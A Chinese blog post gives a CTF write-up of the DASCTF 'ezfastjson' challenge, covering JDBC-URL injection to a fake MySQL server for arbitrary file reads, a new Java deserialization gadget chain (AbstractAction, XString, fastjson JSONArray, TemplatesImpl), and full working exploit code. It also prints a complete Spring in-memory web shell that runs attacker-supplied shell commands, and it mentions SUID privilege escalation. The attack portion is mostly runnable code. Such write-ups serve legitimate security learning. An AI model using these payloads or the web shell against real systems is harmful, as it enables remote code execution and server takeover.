DASCTF ezfastjson赛题复现

Posted by Azeril on November 28, 2023
用到了 Abstractaction这条链子

自己当时做题的思考

这道题和之前的那个柏鹭杯的那道题好相似,页面都是一样的。

image-20231125103229032

奇怪的是它的响应包并没有任何服务器的信息?

image-20231125105729022

考虑 Mysql connector RCE,但是这种方法是连接到恶意的mysql服务器,可是这道题的mysql服务器是题目给的(不可控)

猜测它后面的源码是,直接把输入的东西进行一个拼接

先构造一个恶意的服务器的恶意连接()

image-20231125115728882

并且传入值也是可以任意修改的而且是json模式解析,结合题目是ezfastjson

image-20231125115948115

在本地构造直接反序列化起码会连接上恶意的服务器,但是到了题目一点响应都没有

image-20231125122613470

直接打urldns发现是出网的,啊啊啊???(看一下题解,已经一解了)

莫非直接打链子???

image-20231125124730407

盲打jdbc没打通,其实我感觉jar包中肯定没有其他的第三方库依赖,继续打一下jndi

image-20231125132301834

赛后复现

只打通了urldns,以为这道题是一个黑盒题目,学长直接拿黑盒打的,用urldns探测依赖

然后发现是一个mysql任意文件读取的漏洞,上一篇文章已经详细介绍了

本地用的MySQL_Fake_Server-master这个项目直接启动,server.py

import java.sql.Connection;
import java.sql.DriverManager;
    public class payload {
        public static void main(String[] args) throws Exception {
            String driver = "com.mysql.cj.jdbc.Driver";
            String DB_URL = "jdbc:mysql://8.130.116.247:3306/mysql?characterEncoding=utf8&useSSL=false&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&autoDeserialize=true";
                DB_URL="jdbc:mysql://8.130.116.247:3307?useSSL=true&autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=fileread_C:\\Users\\c'x'k\\Desktop\\MySQL_Fake_Server-master\\ysoserial-0.0.6-SNAPSHOT-all.jar";

            String username = "root";
            String password = "200377";

            Class.forName(driver);

            Connection conn = DriverManager.getConnection(DB_URL);

        }
    }

因为题目用的json传输

{"host":"8.130.116.247:3307/test?user=fileread_file:///&ALLOWLOADLOCALINFILE=true&maxAllowedPacket=655360&allowUrlInLocalInfile=true#"}

读取根目录的文件,在服务器开启监听

image-20231128163121058

image-20231128163152864

image-20231128163225474

image-20231128163405972

app/ezfastjson-0.0.1-SNAPSHOT.jar直接读取这个

image-20231128163628867

开始分析

fastjson 1.2.43
groovy-3.0.19
mysql-connector-java-8.0.1
snakeyaml-1.30

groovy这个依赖没见过。

啊fastjsonhttps://github.com/safe6Sec/Fastjson,这个探测依赖版本也不靠谱呀,题目是1.2.43的

image-20231128165326167

果然是直接将传入的json对象,直接进行JSON的反序列化

传入urldns链子的时候是,parseObject进行反序列化

传入host的时候是进行jdbc的连接(这一块的代码没想到,但也应该想到的)

public class TestMySQLConnectionController {
    @RequestMapping({"/testMySQLConnection"})
    public String showTestMySQLConnectionPage() {
        return "testMySQLConnection";
    }

    @PostMapping({"/testMySQLConnection"})
    @ResponseBody
    public String testMySQLConnection(@RequestBody String jsonData, Model model) {//jsonData就是我们post传的参数
        try {
            JSONObject json = JSONObject.parseObject(jsonData);
            if (jsonData.contains("@") || jsonData.contains("\\x") || jsonData.contains("\\u")) {
                //这里禁用,是为了防止绕过但呃呃呃,不应该在前面禁用嘛,毕竟到这里已经反序列化成功了唉
                return "出错了";
            }
            String host = json.getString("host");
            String port = json.getString("port");
            String database = json.getString("database");
            String username = json.getString("username");
            String password = json.getString("password");
            System.out.println(host);
            String url = "jdbc:mysql://" + host + ":" + port + "/" + database + "?user=" + username + "&password=" + password; 
            //
            System.out.println(url);
            Class.forName("com.mysql.cj.jdbc.Driver");
            Connection connection = DriverManager.getConnection(url);
            model.addAttribute("message", "MySQL数据库连接成功!");
            connection.close();
            return "testMySQLConnection";
        } catch (ClassNotFoundException | SQLException e) {
            model.addAttribute("message", "MySQL数据库连接失败,请检查连接信息。");
            e.printStackTrace();
            return "testMySQLConnection";
        }
    }

    @PostMapping({"/readObj"})
    @ResponseBody
    public String deserializeData(@RequestParam String base64Data) {
        try {
            new MyObjectInputStream(new ByteArrayInputStream(Base64.getDecoder().decode(base64Data))).readObject();//这才是真正的反序列化的点
            return "ok";
        } catch (Exception var4) {
            return var4.getMessage();
        }
    }
}
    private static final String[] blackList = {"AbstractTranslet", "javax.management", "JSONObject", "bad", "hot", "hash", "java.security", "jackson"};

非预期:这道题目前已经转换为了fastjson 1.2.43反序列化漏洞

看官方wp说没有bash,怪不得学长反弹shell没成功,即使我打到这应该也蒙蔽

Thread.sleep()

按理说我本地应该通的呀。。。

image-20231128210814332

用这个软件就能一把梭,但是参数只能设置Runtime命令执行里面的,我本想搞一个Thread.sleep这样成不成功就能看出来,反编译工具,看不懂。。。

image-20231128211807822

预期解

{"AbstractTranslet", "javax.management", "JSONObject", "bad", "hot", "hash", "java.security", "jackson"};

过滤了开头hash(hashmap/hashtable),fastjson和jackson都没了,badAttribute也没了,hot就是那个equals也没了

java.security.SignObject二次反序列化

javax.management.BadAttributeValueExpException

AbstractTranslet类不知道是过滤哪个的暂时没想到

把我常见的链子都搞没了—>唯一剩的也就是

TemplatesImpl后面这个了,但是怎么触发呢 getOutputProperties/newTransformer

相比较这俩个方法而言,getter方法相对容易一点

match (source:Method {NAME:"readObject"})
match (sink:Method {NAME0:"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getOutputProperties"})
with source, collect(sink) as sinks
//通过将 sink 节点归集到 sinks 列表中,后续的操作可以针对整个列表进行处理
call tabby.algo.findJavaGadget(source, sinks, 8, false, false) yield path
    //
where none(n in nodes(path) where 
    n.NAME0 in ["java.util.Hashmap"]
)
return path limit 1
match (source:Method {NAME:"readObject"})
    match (sink:Method {NAME0:"javax.xml.transform.Templates.getOutputProperties"})
with source, collect(sink) as sinks
call tabby.algo.findJavaGadget(source, sinks, 8, false, false) yield path
return path limit 1
 javax.swing.AbstractAction#readObject -> javax.swing.AbstractAction#putValue ->
javax.swing.AbstractAction#firePropertyChange -> java.lang.Object#equals

调试链子

首先初始化了, SyledEditorKit的内置类AlignmentAction,

StyledTextAction extends TextAction

TextAction extends AbstractAction

image-20231129195830037

为啥要这么麻烦不能直接反射这个AbstractAction的类,然后反射调用这个属性嘛???这里赋值是为了下面不为空

调试到最后发现了一个问题

这个changeSupport的值反射不到值

image-20231129230446755

不理解,就是调用不到

image-20231129231510303

反射的时候把那个Object对象改为子类即可

Field changeSupport = Class.forName("javax.swing.AbstractAction").getDeclaredField("changeSupport");
        changeSupport.setAccessible(true);
        changeSupport.set(action,new SwingPropertyChangeSupport("11"));

发现是可以的这样就通了

image-20231129233008808

当前的poc

import com.sun.org.apache.xpath.internal.objects.XString;

import javax.swing.event.SwingPropertyChangeSupport;
import javax.swing.text.StyledEditorKit;
import java.io.*;
import java.lang.reflect.Field;

public class tiashi {
    public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
        StyledEditorKit.AlignmentAction action=new StyledEditorKit.AlignmentAction("age",1);
       // action.putValue("Name","bb");//就是当key同名的时候,后面那个就是新的newvalue 前面那个就是旧的oldvalue
       // action.putValue("cc","dd");
        //protected SwingPropertyChangeSupport changeSupport;

//        Field changeSupport = action.getClass().sugetDeclaredField("changeSupport");
//        changeSupport.setAccessible(true);
//        changeSupport.set(action,new SwingPropertyChangeSupport("a"));
   //   setField(action,"changeSupport",new SwingPropertyChangeSupport('a'));
        Field changeSupport = Class.forName("javax.swing.AbstractAction").getDeclaredField("changeSupport");
        changeSupport.setAccessible(true);
        changeSupport.set(action,new SwingPropertyChangeSupport("11"));


        //原理明白了,不就是key相等然后那啥嘛这不so easy自己构造一下希望不被打脸
        //action.putValue("JYcxk",oldValue)  Xstring    oldValue.equals(newValue)
        //action.putValue("JYcxk",newvalue) wusuowei
        XString xString=new XString("a");
        action.putValue("JYcxk1",xString) ;
        action.putValue("JYcxk2","aa") ;
      //  serialize(action);
        unserialize("ser.bin");


    }
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        objectOutputStream.writeObject(obj);
    }
    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(Filename));
        return objectInputStream.readObject();
    }
    public static void setField(Object obj,String name,Object newobj) throws NoSuchFieldException, IllegalAccessException {
        try{
            Field declaredField = obj.getClass().getDeclaredField(name);
            declaredField.setAccessible(true);
            declaredField.set(obj,newobj);
//            Field declaredField = obj.getClass().getSuperclass().getDeclaredField(name);
//            declaredField.setAccessible(true);
//            declaredField.set(obj,newobj);

        }catch (Exception e){
            Field declaredField = obj.getClass().getSuperclass().getDeclaredField(name);
            declaredField.setAccessible(true);
            declaredField.set(obj,newobj);
        }
    }
}

序列化成功之后改为相同的key即可,看的✌的文章,(tql😭😭😭)

image-20231129233133524

探究一下原理,原理其实就是:

AbstractAction.java#redObject

private void readObject(ObjectInputStream s) throws ClassNotFoundException,
        IOException {
        s.defaultReadObject();
        for (int counter = s.readInt() - 1; counter >= 0; counter--) {//遍历数组个数
            putValue((String)s.readObject(), s.readObject());//这里进入putValue方法
        }
    }

AbstractAction.java#putval

public void putValue(String key, Object newValue) {
        Object oldValue = null;
        if (key == "enabled") {
            if (newValue == null || !(newValue instanceof Boolean)) {
                newValue = false;
            }
            oldValue = enabled;
            enabled = (Boolean)newValue;
        } else {//直接进入这个
            if (arrayTable == null) {
                arrayTable = new ArrayTable();//如果为null就会声明一个ArrayTable
            }
            if (arrayTable.containsKey(key))//arrayTable就是之前放入的值,containsKey就是进行比较,如果key在以前加入进去
                //oldValue 就会变成table数组中原来key的value值
                oldValue = arrayTable.get(key);
            if (newValue == null) {
                arrayTable.remove(key);
            } else {
                arrayTable.put(key,newValue);//newValue就是传入相同key的value的值
            }
        }
        firePropertyChange(key, oldValue, newValue);
    }
举个例子
action.putValue("JYcxk1",xString) ;
action.putValue("JYcxk2","aa");
xString就是oldValue
"aa"就是newValue     

然后调用firePropertyChange

 protected void firePropertyChange(String propertyName, Object oldValue, Object newValue) {
        if (changeSupport == null ||
            (oldValue != null && newValue != null && oldValue.equals(newValue))) {
            //想要调用 oldValue.equals(newValue)需要 前面changeSupport!=null也就是需要赋初值
            //这里反射卡了一下,在上面
            return;
        }
        changeSupport.firePropertyChange(propertyName, oldValue, newValue);
    }

因为AbstractAction类是一个抽象类,所以需要借助它的子类

StyledEditorKit.AlignmentAction action=new StyledEditorKit.AlignmentAction("age",1);
用的AlignmentAction这个内部类构造方法一路super()就能调用到父类

简单的方法是修改16进制,还有一种比较复杂的方法是修改序列化的操作,因为到了题目是直接进行反序列化所以不会影响,和那个jackson重写方法是一样的

看一下 writeObject的流程
  if (validCount > 0) {
                for (Object key : keys) {
                    if (key != null) {
                        s.writeObject(key);
                        s.writeObject(table.get(key));
                        if (--validCount == 0) {
                            break;
                        }
                    }
                }
            }

直接重写ArrayTable#writeArrayTable的方法即可

XString—->JSONArray触发Templates#getter方法,和JSONParse基本一样

import com.alibaba.fastjson.JSONArray;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.org.apache.xpath.internal.objects.XString;
import javassist.CannotCompileException;
import javassist.ClassPool;
import javassist.NotFoundException;

import java.io.IOException;
import java.lang.reflect.Field;
import java.util.ArrayList;

public class Exploit {
    public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, NotFoundException, IOException, CannotCompileException {

        TemplatesImpl templates = new TemplatesImpl();

        setFieldValue(templates, "_bytecodes",
                new byte[][]{ClassPool.getDefault().get(TEMPOC.class.getName()).toBytecode()}
        );
        setFieldValue(templates, "_name", "name");
        setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
        ArrayList arrayList = new ArrayList();
        arrayList.add(templates);
        //这里声明了数组列表,并且把templates添加了进去

        JSONArray toStringBean = new JSONArray(arrayList);//这
        XString xString=new XString("a");
        xString.equals(toStringBean);
    }
    public static void setFieldValue(Object obj,String name,Object newobj) throws NoSuchFieldException, IllegalAccessException {
        Field declaredField = obj.getClass().getDeclaredField(name);
        declaredField.setAccessible(true);
        declaredField.set(obj,newobj);
    }
}

然后就是AbstractAction触发Xstring的equals方法了

最后的payload
import com.alibaba.fastjson.JSONArray;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.org.apache.xpath.internal.objects.XString;
import javassist.CannotCompileException;
import javassist.ClassPool;
import javassist.NotFoundException;

import javax.swing.*;
import javax.swing.event.SwingPropertyChangeSupport;
import javax.swing.text.StyledEditorKit;
import java.awt.event.ActionEvent;
import java.io.*;
import java.lang.reflect.Field;
import java.util.ArrayList;

public class Exploit {
    public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, NotFoundException, IOException, CannotCompileException, ClassNotFoundException {

        TemplatesImpl templates = new TemplatesImpl();

        setFieldValue(templates, "_bytecodes",
                new byte[][]{ClassPool.getDefault().get(TEMPOC.class.getName()).toBytecode()}
        );
        setFieldValue(templates, "_name", "name");
        setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
        ArrayList arrayList = new ArrayList();
        arrayList.add(templates);
        //这里声明了数组列表,并且把templates添加了进去

        JSONArray toStringBean = new JSONArray(arrayList);//这
        XString xString=new XString("a");
        //xString.equals(toStringBean);

        StyledEditorKit.AlignmentAction action=new StyledEditorKit.AlignmentAction("age",1);
        action.putValue("JYcxk1",xString);
        action.putValue("JYcxk2",toStringBean);

        Class<?> aClass = Class.forName("javax.swing.AbstractAction");
        Field changeSupport = aClass.getDeclaredField("changeSupport");
        changeSupport.setAccessible(true);
        changeSupport.set(action,new SwingPropertyChangeSupport(""));


       // serialize(action);
        unserialize("ser.bin");




    }
    public static void setFieldValue(Object obj,String name,Object newobj) throws NoSuchFieldException, IllegalAccessException {
        Field declaredField = obj.getClass().getDeclaredField(name);
        declaredField.setAccessible(true);
        declaredField.set(obj,newobj);
    }
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        objectOutputStream.writeObject(obj);
    }
    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(Filename));
        return objectInputStream.readObject();
    }
}

在生成序列化的ser.bin文件需要修改key是一样的值,用010把JYcxk2改成JYcxk1即可

调用链子

image-20231130110137783

打题目的环境

晚了一丢丢,题目环境昨天还有今天就没了所以直接搭建在服务器上

首先题目是出网的,因为我们的urldns已经探测过了,针对linux服务器缺少啥bash这种命令,还是感觉打一个Thread.sleep()看服务器的延迟比较靠谱通没通

image-20231130113135328

因为没有bash命令不能反弹shell所以先打一个内存马

//springboot 2.6 + 内存马

 package com.example.testfang;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.InputStream;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.Scanner;

//springboot 2.6 + 内存马
public class MemShell extends AbstractTranslet {

    static {
        try {
            WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
            RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
            Field configField = mappingHandlerMapping.getClass().getDeclaredField("config");
            configField.setAccessible(true);
            RequestMappingInfo.BuilderConfiguration config =
                    (RequestMappingInfo.BuilderConfiguration) configField.get(mappingHandlerMapping);
            Method method2 = MemShell.class.getMethod("shell", HttpServletRequest.class, HttpServletResponse.class);
            RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
            RequestMappingInfo info = RequestMappingInfo.paths("/shell")
                    .options(config)
                    .build();
            MemShell springControllerMemShell = new MemShell();
            mappingHandlerMapping.registerMapping(info, springControllerMemShell, method2);

        } catch (Exception hi) {
//            hi.printStackTrace();
        }
    }

    public void shell(HttpServletRequest request, HttpServletResponse response) throws IOException {
        if (request.getParameter("cmd") != null) {
            boolean isLinux = true;
            String osTyp = System.getProperty("os.name");
            if (osTyp != null && osTyp.toLowerCase().contains("win")) {
                isLinux = false;
            }
            String[] cmds = isLinux ? new String[]{"sh", "-c", request.getParameter("cmd")} : new String[]{"cmd.exe", "/c", request.getParameter("cmd")};
            InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
            Scanner s = new Scanner(in).useDelimiter("\\A");
            String output = s.hasNext() ? s.next() : "";
            response.getWriter().write(output);
            response.getWriter().flush();
        }
    }

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }
}

打入内存马后,没权限读取flag,看wp需要suid提权

image-20231130120952897

用的eqn提权,没环境了最后就不演示了

image-20231130121024768

后传:问了几个好友都说用哥斯拉,甚至往里面写了个哥斯拉 我???🥺🥺🥺 啥冰蝎、哥斯拉只听说过没用过

技术达到再来续写,不过我简单的问了以下思路

就是和平常的马一样,只不过有哥斯拉这个软件可以链接。


Creative Commons License
本作品采用CC BY-NC-ND 4.0进行许可。转载,请注明原作者 Azeril 及本文源链接。